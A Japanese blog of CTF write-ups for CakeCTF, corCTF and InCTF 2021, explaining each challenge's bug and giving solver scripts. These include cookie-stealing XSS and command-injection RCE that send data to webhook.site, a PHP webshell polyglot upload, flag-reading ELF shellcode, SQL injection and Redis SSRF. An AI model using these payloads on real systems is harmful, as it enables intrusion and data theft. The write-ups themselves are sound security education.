            "domain":"challenge:8080",
            "name":"flag",
            "value":flag,
            "sameSite":"Strict",
            "httpOnly":false,
            "secure":false
        });
        await page.goto(url, {timeout: 3000});
        await wait(3000);
        await page.close();
    } catch(e) {
        console.log("[-] " + e);
    }

travelogでは使わなかったが、このブログサービスでは以下のようにファイルのアップロードもできる。ファイルのフォーマットは imghdr によってチェックされており、JPEG以外は受け付けないらしい。

@app.route('/upload', methods=['POST'])
def upload():
    if 'user_id' not in session:
        abort(404)

    images = request.files.getlist('images[]')
    for f in images:
        with tempfile.NamedTemporaryFile() as t:
            f.save(t.name)
            f.seek(0)
            if imghdr.what(t.name) != 'jpeg':
                abort(400)

    for f in images:
        name = os.path.basename(f.filename)
        if name == '':
            abort(400)
        else:
            f.save(PATH_IMAGE.format(user_id=session['user_id'], name=name))

    return 'OK'

アップロードしたファイルは以下のように /uploads/<user_id>/<name> から閲覧できる。send_file が使われているようだが、なぜかMIMEタイプが設定されていない。

アップロード処理では拡張子まではチェックされていないし、ファイル名は保持される。JPEGJavaScriptのpolyglotを hoge.js のようなファイル名でアップロードすれば、Content-Type: application/javascript でそのJSファイルが返ってくるはずだ。

@app.route('/uploads/<user_id>/<name>')
def uploads(user_id, name):
    user_id = user_id.lower()
    if re.fullmatch('[0-9a-f]{32}', user_id) is None:
        abort(404)

    return send_file(PATH_IMAGE.format(user_id=user_id, name=name))

imghdr のコードを確認してみると、なんとJPEGであるかどうかは7バイト目から10バイト目が JFIF または Exif かどうかだけでチェックされている。これなら AAAAAAJFIF でもJPEGと判定されてしまう。

さて、これで script 要素で読み込めば実行可能なJSファイルがアップロードできることがわかったが、残念ながらCSPの script-src'nonce-(nonce)' 'unsafe-inline' であり、そのままでは実行できない。なんとかできないだろうか。

ブログの記事ページをよく見てみると、HTML Injectionが可能な箇所より後ろで ../../show_utils.js が読み込まれていることがわかる。base-uri'self' に設定されているから、<base href="/uploads/(ユーザID)/a/b/"> を挿入してやればアップロードした show_utils.js が読み込まれるようにできるはずだ。

    <div class="uk-container">
        (ここに内容が入る)
    </div>

    <hr>
    <div class="uk-grid-row" uk-grid>
        <div>
            <a href="#" class="uk-icon-button" uk-icon="copy" id="share" uk-tooltip="Copy URL to clipboard"></a>
        </div></div>
    <script nonce="69P8FUHI9EoaHuu3gkPa3w==" src="../../show_utils.js"></script>

show_utils.js というファイル名で AAAAAAJFIF=navigator.sendBeacon('https://webhook.site/…',document.cookie) という内容のファイルをアップロードし、<base href="/uploads/(ユーザID)/a/b/"> という内容の記事を作成する。出来上がった記事をXSS botに報告するとフラグが得られた。

CakeCTF{I'll_n3v3r_trust_HTML:angry:}

[Rev 214] ALDRYA (18 solves)

ELFがmaliciousでないかどうかチェックするALDRYAというシステムを作ったらしい。以下のファイルが与えられている。

  • aldrya (与えられたELFがALDRYA形式のシグネチャにマッチしているか確認し、もしマッチしていればそのELFを実行してくれるELF)
  • sample.elf (Hello, Aldrya! と挨拶するだけのELF)
  • sample.aldrya (sample.elfシグネチャ)
  • server.py (サーバで動いているコード、./aldrya (アップロードしたファイル) ./sample.aldrya を実行してくれる)

まずALDRYAがどのようなフォーマットであるか確認する必要がある。IDA Freewarealdrya を投げてみると綺麗にデコンパイルされた。

Pythonに書き直すと大体以下のようなコードになる。ELFを0x100バイトを1チャンクとして区切ってそれぞれ32ビットのハッシュに変換し、それをALDRYA形式のファイルに格納されているハッシュと比較しているようだ。

import struct

def u32(x):
  return struct.unpack('<I', x)[0]

def ror(x, n):
  return ((x >> n) | (x << (32 - n))) & 0xffffffff

def calc_hash(buf):
  res = 0x20210828
  buf = buf.ljust(0x100, b'\x00')
  for i in range(0x100):
    res ^= buf[i]
    res = ror(res, 1)
  return res

class Aldrya(object):
  def __init__(self, elf, aldrya):
    self._fp_elf = open(elf, 'rb')
    self._fp_aldrya = open(aldrya, 'rb')
    self._chunk_num = None

  def _validate_chunk(self):
    legit_hash = u32(self._fp_aldrya.read(4))
    calced_hash = calc_hash(self._fp_elf.read(0x100))
    if legit_hash != calced_hash:
      return False

    return True

  def _validate_size(self):
    self._chunk_num = u32(self._fp_aldrya.read(4))
    # implement medoi
    self._fp_elf.seek(0)
    return True

  def validate(self):
    if self._fp_elf.read(4) != b'\x7fELF':
      return False

    if not self._validate_size():
      return False

    for _ in range(self._chunk_num):
      if not self._validate_chunk():
        return False

    return True

aldrya = Aldrya('sample.elf', 'sample.aldrya')
print(aldrya.validate())

0x100バイトのチャンクが32ビットに変換される calc_hash の処理を見てみると、1バイトを読み込んでXORし、1ビットだけ右ローテートすることを繰り返していることがわかる。

XORと1ビットずつの右ローテートによって計算されていることを考えると、各チャンクにつき32バイトの 01 からなる好きなバイト列を書き込めれば、ハッシュ値を任意の値に操作することができそうだ。

ということで、sample.aldrya にマッチするような細工されたELFを作っていく。まず加工がしやすいなるべく小さなELFを用意する。以前Plaid CTF 2020のgolf.soのwriteupを参考にDiceCTF 2021のTI-1337 Plus CEで作ったELFをベースに、cat /f* を実行する512バイトのELFが出来上がった。各チャンクの最後の32バイトは A で埋められており、自由に書き換えられるようになっている。

BITS 64

; ref: https://starfleetcadet75.github.io/posts/plaid-2020-golf-so/

ehdr:                               ; Elf64_Ehdr
        db  0x7f, "ELF", 2, 1, 1, 0 ; e_ident
times 8 db  0
        dw  3                       ; e_type
        dw  0x3e                    ; e_machine
        dd  0x41424344                       ; e_version
        dq  shell                   ; e_entry
        dq  phdr - $$               ; e_phoff
        dq  0                       ; e_shoff
        dd  0                       ; e_flags
        dw  ehdrsize                ; e_ehsize
        dw  phdrsize                ; e_phentsize
        dw  2                       ; e_phnum
        dw  0                       ; e_shentsize
        dw  0                       ; e_shnum
        dw  0                       ; e_shstrndx
ehdrsize  equ  $ - ehdr

phdr:                               ; Elf64_Phdr
        dd  1                       ; p_type
        dd  7                       ; p_flags
        dq  0                       ; p_offset
        dq  $$                      ; p_vaddr
        dq  $$                      ; p_paddr
        dq  progsize                ; p_filesz
        dq  progsize                ; p_memsz
        dq  0x1000                  ; p_align
phdrsize  equ  $ - phdr
        ; PT_DYNAMIC segment
        dd  2                       ; p_type
        dd  7                       ; p_flags
        dq  dynamic                 ; p_offset
        dq  dynamic                 ; p_vaddr
        dq  dynamic                 ; p_paddr
        dq  dynsize                 ; p_filesz
        dq  dynsize                 ; p_memsz
        dq  0x1000                  ; p_align

times 80 - 32 db 0x0
times 32 db 0x41

shell:
        push rsp
        pop rdi

        ; /bin/sh
        push 0
        push rsp
        pop rdi
        push 0x6e69622f
        pop rax
        xor dword [rdi], eax
        push 0x68732f
        pop rax
        xor dword [rdi+4], eax

        ; -c
        push 0
        push rsp
        pop rcx
        push 0x632d
        pop rax
        xor dword [rcx+0], eax

        ; cat /f*
        push 0
        push rsp
        pop rdx
        push 0x20746163
        pop rax
        xor dword [rdx], eax
        push 0x2a662f
        pop rax
        xor dword [rdx+4], eax

        push 0
        push rdx
        push rcx
        push rdi
        push rsp
        pop rsi
        push 0
        pop rdx

        ; execve("/bin/sh", {"/bin/sh", "-c", "cat /f*"}, NULL)
        push 59
        pop rax
        syscall

        ; exit(0)
        push 0
        pop rdi
        push 60
        pop rax
        syscall

dynamic:
  dt_init:
        dq  0xc, shell
  dt_strtab:
        dq  0x5, shell
  dt_symtab:
        dq  0x6, shell

times (512 - 32 - ($ - $$)) db 0
times 32 db 0x41

dynsize  equ  $ - dynamic
progsize  equ  $ - $$

続いて、sample.aldryaシグネチャにマッチするようにこのELFの各チャンクの最後32バイトを変更するPythonスクリプトを書く。

import struct
from aldrya import Aldrya, calc_hash

def u32(x):
  return struct.unpack('<I', x)[0]

def p32(x):
  return struct.pack('<I', x)

with open('malelf', 'rb') as f:
  s = f.read().ljust(0x200, b'\x00')
with open('sample.elf', 'rb') as f:
  f.seek(len(s))
  s += f.read()

with open('sample.aldrya', 'rb') as f:
  num = u32(f.read(4))
  hashes = []
  for _ in range(num):
    hashes.append(u32(f.read(4)))

target = calc_hash(s[:0x100], size=0x100-0x20) ^ hashes[0]
buf = list(s[:0x100])
buf[-32:] = [1 if p32(target)[i // 8] & (1 << (i % 8)) else 0 for i in range(32)]
s = bytes(buf) + s[0x100:]

target = calc_hash(s[0x100:0x200], size=0x100-0x20) ^ hashes[1]
buf = list(s[0x100:0x200])
buf[-32:] = [1 if p32(target)[i // 8] & (1 << (i % 8)) else 0 for i in range(32)]
s = s[:0x100] + bytes(buf) + s[0x200:]

with open('result.elf', 'wb') as f:
  f.write(s)

a = Aldrya('sample.elf', 'sample.aldrya')
print(a.validate())
b = Aldrya('result.elf', 'sample.aldrya')
print(b.validate())

完成した result.elf をアップロードするとフラグが得られる。

CakeCTF{jUst_cH3ck_SHA256sum_4nd_7h47's_f1n3}

[Rev 204] rflag (20 solves)

与えられた実行ファイルを実行してみると、毎回ランダムに生成される32バイトのhex stringを当てろと言われる。ヒントとして、文字列を入力するとhex stringの何文字目でそれがマッチしているか4回まで確認できる。

^.+$[0-9] などを入力するとちゃんとマッチすることから、正規表現が使われていることがわかる。ある箇所の文字がある正規表現にマッチしているかしていないかを4回確認できるということは、最終的に4ビットの情報が得られるということを意味する。

[13579bdf][2367abef][4567cdef][89abcdef] の4つの正規表現を使うとhex stringの全体が特定できる。ソルバーを書こう。

from pwn import *

def q(s):
  p.recvuntil(': ')
  p.sendline(s)
  p.recvuntil('Response: ')
  return eval(p.recvline())

rs = ['[13579bdf]', '[2367abef]', '[4567cdef]', '[89abcdef]']

p = remote('misc.cakectf.com', 10023)

a = [q(r) for r in rs]
res = [0 for _ in range(32)]
for i, x in enumerate(a):
  for j in x:
    res[j] |= 1 << i
res = ''.join(hex(x)[2:] for x in res)

p.sendline(res)
p.interactive()

これを実行するとフラグが得られる。

$ python3 solve.py 
[+] Opening connection to misc.cakectf.com on port 10023: Done
[*] Switching to interactive mode
Okay, what's the answer?
Correct!
FLAG: CakeCTF{n0b0dy_w4nt5_2_r3v3r53_RUST_pr0gr4m}

x0r19x91さんがRustコードにデコンパイルしていてすごいなあという気持ちになった。

[Web 247] My Nyamber (13 solves)

猫に割り振られたマイニャンバーなる番号、または猫の名前から個ニャン情報を引き出せるWebアプリケーションらしい。

コードは以下のように大変シンプルな作りになっている。マイニャンバーで検索をかける場合には parseInt で数値化を、猫の名前で検索をかける場合には '\、空白文字が名前に含まれていないかの確認を施した上でSQLに展開しクエリを実行している。猫の名前で検索する場合には、配列を使うことで複数の個ニャン情報を引き出せるようだ。

const express = require("express");
const sqlite3 = require("sqlite3");
const path = require('path');

const app = express();
const db = new sqlite3.Database('database.db');
app.disable('etag');

/**
 * Run SQL statement
 */
function querySqlStatement(stmt) {
    return new Promise((resolve, reject) => {
        db.get(stmt, (err, row) => {
            if (err) reject(err);
            if (row === undefined)
                reject("Not found");
            else
                resolve(row);
        });
    });
}

/**
 * Find neko by name
 */
async function queryNekoByName(neko_name, callback) {
    let filter = /(\'|\\|\s)/g;
    let result = [];
    if (typeof neko_name === 'string') {
        /* Process single query */
        if (filter.exec(neko_name) === null) {
            try {
                let row = await querySqlStatement(
                    `SELECT * FROM neko WHERE name='${neko_name}'`
                );
                if (row) result.push(row);
            } catch { }
        }
    } else {
        /* Process multiple queries */
        for (let name of neko_name) {
            if (filter.exec(name.toString()) === null) {
                try {
                    let row = await querySqlStatement(
                        `SELECT * FROM neko WHERE name='${name}'`
                    );
                    if (row) result.push(row);
                } catch { }
            }
        }
    }
    callback(result);
}

/**
 * Find neko by My Nyamber
 */
async function queryNekoById(neko_id, callback) {
    let nid = parseInt(neko_id);
    if (!isNaN(nid)) {
        try {
            let row = await querySqlStatement(
                `SELECT * FROM neko WHERE nid=${nid}`
            );
            if (row) {
                callback([row]);
                return;
            }
        } catch { }
    }

    /* Invalid ID or result not found */
    callback([]);
}

app.use(express.static(path.join(__dirname, 'public')))

app.get("/api/neko", function(req, res, next) {
    if (req.query.id == null && req.query.name == null) {
        /* Missing required parameters */
        res.status(400);
        res.json({reason: 'My Nyamber is not set'});
    } else {
        try {
            if (req.query.id) {
                /* Find by My Nyamber */
                queryNekoById(req.query.id,
                              result => { res.json({result}); });
            } else {
                /* Find by name */
                queryNekoByName(req.query.name,
                                result => { res.json({result}); });
            }
        } catch (e) {
            res.status(500);
            res.json({reason: 'SQL query failed :cry:'});
        }
    }
});

app.listen(8080);

一見脆弱性はないように思えるが、猫の名前の検索時に実行されるフィルターの挙動を検証していた際に不思議なことに気づいた。以下のように複数回 filter.exec を実行すると、どういうわけかその結果が毎回変わってしまう。

let filter = /(\'|\\|\s)/g;
const p = "'";
for (let i = 0; i < 10; i++) {
  console.log(filter.exec(p));
}
$ node test.js
[ "'", "'", index: 0, input: "'", groups: undefined ]
null
[ "'", "'", index: 0, input: "'", groups: undefined ]
null
[ "'", "'", index: 0, input: "'", groups: undefined ]
null
[ "'", "'", index: 0, input: "'", groups: undefined ]
null
[ "'", "'", index: 0, input: "'", groups: undefined ]
null

MDNを見てみると「JavaScriptRegExp オブジェクトは、global または sticky フラグが設定されている場合 (例えば /foo/g/foo/y) はステートフルになります」という記述があった。確かに filter には g フラグが設定されている。これを使えばフィルターをバイパスしてSQLインジェクションに持ち込めそうだ。

以下のようなスクリプトを書いて実行するとフラグが得られた。

import requests
payload = "' union select flag,2,3,4 from flag;"
r = requests.get('http://web.cakectf.com:8002/api/neko', params={
  f'name[{i}]': payload for i in range(10)
})
print(r.text)
$ python solve.py
{"result":[{"nid":"CakeCTF{BUG-REPORT-ACCEPTED:Reward=222-Matatabi-Sticks}","species":2,"name":3,"age":4}]}

[Web 266] ziperatops (11 solves)

1個以上のZIPをアップロードすると、ZIPに含まれるファイルの名前を列挙してくれるWebアプリケーションらしい。

これもまたコードはシンプル。index.php は以下のような内容になっている。setup という utils.php で定義されている関数によって、アップロードされたZIPファイルを一時ディレクトリに移動させている。エラーが発生するか、ZIPに格納されているファイル名の列挙が終われば cleanup によって一時ディレクトリを削除している。

<?php
require_once 'utils.php';

function ziperatops() {
    /* Upload files */
    list($dname, $err) = setup('zipfile');
    if ($err) {
        cleanup($dname);
        return array(null, $err);
    }

    /* List files in the zip archives */
    $results = array();
    foreach (glob("temp/$dname/*") as $path) {
        $zip = new ZipArchive;
        $zip->open($path);
        for ($i = 0; $i < $zip->count(); $i++) {
            array_push($results, $zip->getNameIndex($i));
        }
    }

    /* Cleanup */
    cleanup($dname);
    return array($results, null);
}

list($results, $err) = ziperatops();
?>

setupcleanup の実装を確認する。utils.php は以下のような内容になっている。setup では、まず一時ディレクトリのディレクトリ名を sha1(uniqid()) で生成している。uniqid に第二引数が渡されていないのでかなり頑張れば予測できそうではあるが、リモートでは難しいだろう。

アップロードされた各ZIPファイルについて、ZIPファイル自身のファイル名をチェックしている。もしチェックに引っかかればその場で処理が中断され、先ほど確認したように一時ディレクトリが削除される。

cleanup では、glob で一時ディレクトリに存在するZIPファイルを削除した後にディレクトリを削除している。

<?php
/**
 * Upload files
 */
function setup($name) {
    /* Create a working directory */
    $dname = sha1(uniqid());
    @mkdir("temp/$dname");

    /* Check if files are uploaded */
    if (empty($_FILES[$name]) || !is_array($_FILES[$name]['name']))
        return array($dname, null);

    /* Validation */
    for ($i = 0; $i < count($_FILES[$name]['name']); $i++) {
        $tmpfile = $_FILES[$name]['tmp_name'][$i];
        $filename = $_FILES[$name]['name'][$i];
        if (!is_uploaded_file($tmpfile))
            continue;

        /* Check the uploaded zip file */
        $zip = new ZipArchive;
        if ($zip->open($tmpfile) !== TRUE)
            return array($dname, "Invalid file format");

        /* Check filename */
        if (preg_match('/^[-_a-zA-Z0-9\.]+$/', $filename, $result) !== 1)
            return array($dname, "Invalid file name: $filename");

        /* Detect hacking attempt (This is not necessary but just in case) */
        if (strstr($filename, "..") !== FALSE)
            return array($dname, "Do not include '..' in file name");

        /* Check extension */
        if (preg_match('/^.+\.zip/', $filename, $result) !== 1)
            return array($dname, "Invalid extension (Only .zip is allowed)");

        /* Move the files */
        if (@move_uploaded_file($tmpfile, "temp/$dname/$filename") !== TRUE)
            return array($dname, "Failed to upload the file: $dname/$filename");
    }

    return array($dname, null);
}

/**
 * Remove a directory and its contents
 */
function cleanup($dname) {
    foreach (glob("temp/$dname/*") as $file) {
        @unlink($file);
    }
    @rmdir("temp/$dname");
}
?>

さて、ここまで実装を確認してきたが、よく見るとところどころで怪しげな点がある。列挙していくと、

  • 一時ディレクトリが作成される temp/ ディレクトリはドキュメントルート下にあり、アクセスできる
  • ZIPのファイル名のチェックに使われる正規表現/^.+\.zip/$ が使われていない
    • このため、a.zip.php のように実際には拡張子が .zip でなくても通ってしまう
  • cleanup でのファイルの列挙に glob が使われている
    • glob("temp/$dname/*") はドットから始まるファイルを列挙しない。したがって、.a.zip のようなファイルをアップロードするとそのファイルは削除されない。また、ディレクトリにファイルが残っているため rmdir も失敗する
  • move_uploaded_file が失敗すると一時ディレクトリの名前がエラーメッセージとして表示される

という感じ。まとめると、.a.zip.php という名前でZIPとPHPのpolyglotのファイルをアップロードし、一時ディレクトリ下に移動した .a.zip.php にアクセスするとPHPコードが実行されるということになる。一時ディレクトリの名前については、a.zip.(aが300文字続く) のような長い名前のファイルをアップロードすればエラーメッセージから得られる。

この処理を行うスクリプトを書いて実行するとフラグが得られる。

import requests
import re
with open('a.zip', 'rb') as f:
  s = f.read()

BASE_URL = 'http://web.cakectf.com:8004/'
files = {}
files['zipfile[0]'] = ('.a.zip.php', s + b'<?php passthru("cat /f*"); ?>')
files['zipfile[1]'] = ('.a.zip.' + 'a' * 300, s)
r = requests.post(BASE_URL, files=files)
d = re.findall(r'([0-9a-f]+)/', r.text)[0]

r = requests.get(BASE_URL + 'temp/' + d + '/.a.zip.php')
print(r.text)
CakeCTF{uNd3r5t4nd1Ng_4Nd_3xpl01t1Ng_f1l35y5t3m_cf1944}

[Cheat 289] Yoshi-Shogi (9 solves)

Rust製のLinuxで動くGUIの将棋ゲーが与えられる。次の画像のようなハンデのもとで勝てばフラグが得られるらしい。鬼か?

f:id:st98:20210829120815p:plain

これではとても勝てないので、yoshikingさんにもっと手加減してもらえるようチートを試みる。逆アセンブルして関数名を眺めていると、_ZN11yoshi_shogi10init_board17h76976c8c94fadf3fE (デマングルすると yoshi_shogi::init_board::h76976c8c94fadf3f) という気になる関数が見つかった。駒の配置の初期化をしているのだろうか。

雑に movBYTE PTRgrepしてみると確かにそうっぽいなあという気がしてくる。試しに0を代入してみるといくつかyoshikingさん側の駒が消えた。素晴らしい。

…
   ae45a:       c6 40 08 15             mov    BYTE PTR [rax+0x8],0x15
   ae47c:       c6 40 01 14             mov    BYTE PTR [rax+0x1],0x14
   ae49e:       c6 40 07 14             mov    BYTE PTR [rax+0x7],0x14
   ae4c0:       c6 40 02 13             mov    BYTE PTR [rax+0x2],0x13
   ae4e2:       c6 40 06 13             mov    BYTE PTR [rax+0x6],0x13
   ae504:       c6 40 03 12             mov    BYTE PTR [rax+0x3],0x12
   ae526:       c6 40 05 12             mov    BYTE PTR [rax+0x5],0x12
   ae548:       c6 40 04 0f             mov    BYTE PTR [rax+0x4],0xf
   ae56e:       c6 40 01 10             mov    BYTE PTR [rax+0x1],0x10
   ae594:       c6 40 07 11             mov    BYTE PTR [rax+0x7],0x11
…

yoshi_shogi::init_board::h76976c8c94fadf3f 中の処理を書き換えてyoshikingさん側の駒をできるだけ削除してみたものの、通常の盤面からハンデありの盤面に切り替えると、消滅したはずの歩兵たちがと金として墓から蘇ってきてしまった。これは困った。

yoshi_shogi::init_board::h76976c8c94fadf3f だけでなくバイナリの全体を movBYTE PTRgrepしてみると、以下のように yoshi_shogi::init_board::h76976c8c94fadf3f 外で駒を配置している処理が見つかった。これらも書き換える。

…
   a5cc3:       c6 00 1c                mov    BYTE PTR [rax],0x1c
   a5cf0:       c6 40 01 1c             mov    BYTE PTR [rax+0x1],0x1c
   a5d1e:       c6 40 02 1c             mov    BYTE PTR [rax+0x2],0x1c
   a5d4c:       c6 40 03 1c             mov    BYTE PTR [rax+0x3],0x1c
   a5d7a:       c6 40 04 1c             mov    BYTE PTR [rax+0x4],0x1c
   a5da8:       c6 40 05 1c             mov    BYTE PTR [rax+0x5],0x1c
   a5dd6:       c6 40 06 1c             mov    BYTE PTR [rax+0x6],0x1c
   a5e04:       c6 40 07 1c             mov    BYTE PTR [rax+0x7],0x1c
   a5e32:       c6 40 08 1c             mov    BYTE PTR [rax+0x8],0x1c
…

実行するといい感じにyoshikingさんに手加減をしてもらえるようになった。

f:id:st98:20210829120548p:plain

ポチポチ駒を動かしているとフラグが得られた。

f:id:st98:20210829121853p:plain

CakeCTF{https://www.nicovideo.jp/watch/sm19221643}

corCTF 2021 writeup

8/21 - 8/23という日程で開催された。zer0ptsで参加して12位。激ムズだけど面白い問題ばかりだった。

[Web 323] devme (264 solves)

メールの入力ができるフォームがある。適当なメールアドレスを入力して送信してみると {"query":"mutation createUser($email: String!) {\n\tcreateUser(email: $email) {\n\t\tusername\n\t}\n}\n","variables":{"email":"test@example.com"}} というJSON/graphql というAPIに送られた。GraphQLを使っているらしい。

prisma-labs/get-graphql-schemaでGraphQLスキーマを取得できる。

"""Exposes a URL that specifies the behaviour of this scalar."""
directive @specifiedBy(
  """The URL that specifies the behaviour of this scalar."""
  url: String!
) on SCALAR

type Mutation {
  createUser(email: String!): User
}

type Query {
  users: [User]!
  flag(token: String!): String!
}

type User {
  token: String!
  username: String!
}

以下のようなクエリを送ると、登録されているすべてのユーザのトークンが取得できた。adminトークンは 3cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b らしい。

query {
  users {
    token
    username
  }
}

以下のようなクエリを送るとフラグが得られた。

query {
  flag(token: "3cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b")
}
corctf{ex_g00g13_3x_fac3b00k_t3ch_l3ad_as_a_s3rvice}

[Web 441] buyme (110 solves)

旗の購入ができるサイトが与えられた。アメリカやイギリスなどの100ドルの旗に加えて corCTF という名前の旗もあるが、その価格は1e+300ドルと高すぎる。ユーザ登録して得られるのは100ドルのみであり、譲渡も旗の売却もできないのでこのままではお金を増やす方法はない。

ユーザの情報は以下のように user (ユーザ名)、flags (所持している旗の一覧)、money (所持金)、pass (ハッシュ化されたパスワード)からなる。

    db.users.set(user, {
        user,
        flags: [],
        money: 100,
        pass: await bcrypt.hash(pass, 12)
    });

旗の購入時には以下のように /api/buy というAPIが叩かれる。よく見ると db.buyFlag に対して引数として渡されるオブジェクトは ...req.body とスプレッド構文を使って作られている。このオブジェクトの user プロパティに格納される req.user 自体は改変できないが、req.body はいくらでも改変できるから、user というパラメータをPOSTするデータに仕込んでやれば user プロパティを置き換えることができる。

router.post("/buy", requiresLogin, async (req, res) => {
    if(!req.body.flag) {
        return res.redirect("/flags?error=" + encodeURIComponent("Missing flag to buy"));
    }

    try {
        db.buyFlag({ user: req.user, ...req.body });
    }
    catch(err) {
        return res.redirect("/flags?error=" + encodeURIComponent(err.message));
    }

    res.redirect("/?message=" + encodeURIComponent("Flag bought successfully"));
});

db.buyFlag は以下のような処理をしている。user プロパティとして渡すオブジェクトには userpriceflag というプロパティを持たせればよさそう。

const buyFlag = ({ flag, user }) => {
    if(!flags.has(flag)) {
        throw new Error("Unknown flag");
    }
    if(user.money < flags.get(flag).price) {
        throw new Error("Not enough money");
    }

    user.money -= flags.get(flag).price;
    user.flags.push(flag);
    users.set(user.user, user);
};

以下のように登録から購入まで自動化するスクリプトを書いて実行するとフラグが得られた。

import requests
import uuid

s = requests.Session()
user = str(uuid.uuid4())
s.post('https://buyme.be.ax/api/register', json={
  'user': user,
  'pass': str(uuid.uuid4())
})
r = s.post('https://buyme.be.ax/api/buy', json={
  'flag': 'corCTF',
  'user': {
    'user': user,
    'money': 1e308,
    'flags': []
  }
})
print(r.text)
print(s.cookies)
$ python3 solve.py | grep cor
                        <img class="card-img-top flag" src="https://ctf.cor.team/assets/img/ctflogo.png" />
                        <h4 class="card-title">corCTF</h4>
                        <h5 class="card-title">corctf{h0w_did_u_steal_my_flags_you_flag_h0arder??!!}</h4>

[Web 469] phpme (64 solves)

与えられたURLにアクセスすると、以下のようなPHPコードが表示された。secret というCookieの値が secret.php から読み込まれたであろう $secret と一致しており、かつPOSTで与えられたJSONyep というプロパティの値が yep yep yep という文字列であれば、フラグをJSONで指定したURLに送信してくれるJavaScriptコードを出力するらしい。

<?php
    include "secret.php";

    // https://stackoverflow.com/a/6041773
    function isJSON($string) {
        json_decode($string);
        return json_last_error() === JSON_ERROR_NONE;
    }

    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if(isset($_COOKIE['secret']) && $_COOKIE['secret'] === $secret) {
            // https://stackoverflow.com/a/7084677
            $body = file_get_contents('php://input');
            if(isJSON($body) && is_object(json_decode($body))) {
                $json = json_decode($body, true);
                if(isset($json["yep"]) && $json["yep"] === "yep yep yep" && isset($json["url"])) {
                    echo "<script>\n";
                    echo "    let url = '" . htmlspecialchars($json["url"]) . "';\n";
                    echo "    navigator.sendBeacon(url, '" . htmlspecialchars($flag) . "');\n";
                    echo "</script>\n";
                }
                else {
                    echo "nope :)";
                }
            }
            else {
                echo "not json bro";
            }
        }
        else {
            echo "ur not admin!!!";
        }
    }
    else {
        show_source(__FILE__);
    }
?>

この問題ではURLを指定するとクロールしてくれるbotも提供されている。そのbotCookieのチェックはなんとかしてくれるから、JSONのチェックは自分でなんとかしろということだろう。

JSONのチェックでは Content-Type ヘッダは確認されない。ということでまず form 要素でキーに {"hoge":"fuga、その値に "} というような文字列を設定して、最終的に {"hoge":"fuga="} のようにJSONとしても解釈できるバイト列が送信されるようにすることを考えた。が、よく考えるとそのまま(application/x-www-form-urlencoded)では {" がパーセントエンコードされてしまう。

実は form 要素の enctype 属性では text/plain も利用できる。これなら {" はパーセントエンコードされないはず。

以下のようなフォームを用意してbotにアクセスさせると、JSONurl プロパティで指定したURLにフラグが飛んできた。

<form action="https://phpme.be.ax/" method="POST" enctype="text/plain" id="form">
  <input id="i">
  <input type="submit">
</form>
<script>
const input = document.getElementById('i');
i.name = '{"yep":"yep yep yep","url":"https://webhook.site/…","hoge":"';
i.value = '"}';
const form = document.getElementById('form');
form.submit();
</script>
corctf{ok_h0pe_y0u_enj0yed_the_1_php_ch4ll_1n_th1s_CTF!!!}

[Web 478] readme (46 solves)

URLを与えてやると、@mozilla/readabilityによってリーダービューで表示してくれるというWebアプリケーションが与えられる。@mozilla/readability によるコンテンツの抽出はサーバサイドで行われている。

ソースコードを読んでいると、以下のようなページ関連の処理に怪しい部分を見つけた。これはjsdomを使って next という文字列をクラス名やテキストに含む a 要素か button 要素について、そのリンク先を取得した、ボタンをクリックしたりして次のページを表示させようとする処理だ。

button 要素の場合は onclick 属性を eval している。やりたいことはわかるが、なぜわざわざサーバサイドで eval しているのだろう。

const loadNextPage = async (dom, socket) => {
    let targets = [
        ...Array.from(dom.window.document.querySelectorAll("a")), 
        ...Array.from(dom.window.document.querySelectorAll("button"))
    ];
    targets = targets.filter(e => (e.textContent + e.className).toLowerCase().includes("next"));

    if(targets.length == 0) return;
    let target = targets[targets.length - 1];
    
    if(target.tagName === "A") {
        let newDom = await refetch(socket, target.href);
        return newDom;
    }
    else if(target.tagName === "BUTTON") {
        dom.window.eval(target.getAttribute("onclick"));
        return dom;
    }

    return;
};

以下のようなHTMLを返すWebサイトを投げるとフラグが得られた。

<button class="next" onclick="process.mainModule.require('child_process').execSync('wget http://webhook.site/…/$(cat flag.txt)')">next</button>
corctf{but_wh3re_w1ll_i_r3ad_my_n0vels_now??????}

InCTF 2021 writeup

8/13 - 8/15という日程で開催された。zer0ptsで参加して6位。

[Web 100] Raas (? solves)

URLを入力するとそのコンテンツを表示してくれるWebサービスfile:///code/app.pyソースコードが得られる。

Redisサーバから (Cookieに入っているユーザID)_isAdmin というキーに格納された値を取ってきて、それが yes であればフラグが得られるらしい。

from flask import Flask, request,render_template,request,make_response
import redis
import time
import os
from utils.random import Upper_Lower_string
from main import Requests_On_Steroids
app = Flask(__name__)

# Make a connection of the queue and redis
r = redis.Redis(host='redis', port=6379)
#r.mset({"Croatia": "Zagreb", "Bahamas": "Nassau"})
#print(r.get("Bahamas"))
@app.route("/",methods=['GET','POST'])
def index():
    if request.method == 'POST':
        url = str(request.form.get('url'))
        resp = Requests_On_Steroids(url)
        return resp
    else:   
        resp = make_response(render_template('index.html'))
        if not request.cookies.get('userID'):
            user=Upper_Lower_string(32)
            r.mset({str(user+"_isAdmin"):"false"})
            resp.set_cookie('userID', user)
        else:
            user=request.cookies.get('userID')
            flag=r.get(str(user+"_isAdmin"))
            if flag == b"yes":
                resp.set_cookie('flag',str(os.environ['FLAG']))
            else:
                resp.set_cookie('flag', "NAAAN")
        return resp

if __name__ == "__main__":
    app.run('0.0.0.0')

file:///code/main.pyRequests_On_Steroids の実装が見られる。RedisサーバにSSRFしてくれと言わんばかりに、inctf:Gopherプロトコルが使えるようになっている。

import requests, re, io, socket
from urllib.parse import urlparse, unquote_plus
import os
from modules.Gophers import GopherAdapter 
from modules.files import LocalFileAdapter 


def Requests_On_Steroids(url):
    try:
        s = requests.Session()
        s.mount("inctf:", GopherAdapter())
        s.mount('file://', LocalFileAdapter())
        resp = s.get(url)
        assert resp.status_code == 200
        return(resp.text)
    except:
        return "SOME ISSUE OCCURED"
    

#resp = s.get("butts://127.0.0.1:6379/_get dees")

inctf://redis:6379/_set%20kiriyaaoi_isAdmin%20yes というURLの巡回をさせ、CookieのユーザIDに kiriyaaoi を入れるとフラグが得られた。

inctfi{IDK_WHY_I_EVEN_USED_REDIS_HERE!!!}

[Web 823] Notepad 1 - Snakehole's Secret (? solves)

